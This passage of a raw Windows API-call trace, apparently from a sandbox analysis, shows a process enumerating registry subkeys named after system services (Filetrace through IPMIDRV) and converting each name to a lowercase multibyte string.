dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0239.414] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1da8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0239.414] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0239.414] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0239.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0239.415] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0239.415] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1da8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0239.415] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0239.415] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0239.415] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0239.415] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0239.416] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0239.416] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0239.416] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0239.416] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0239.416] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0239.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1928, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0239.417] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0239.417] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0239.417] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0239.417] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0239.417] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0239.417] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0239.418] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0239.418] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0239.418] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1da8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0239.418] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0239.418] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1da8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0239.419] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0239.419] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0239.419] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0239.419] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1da8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0239.419] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0239.419] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0239.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0239.420] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0239.420] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0239.420] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0239.420] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1da8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0239.420] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0239.420] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0239.421] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0239.421] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0239.421] RegEnumKeyW (in: 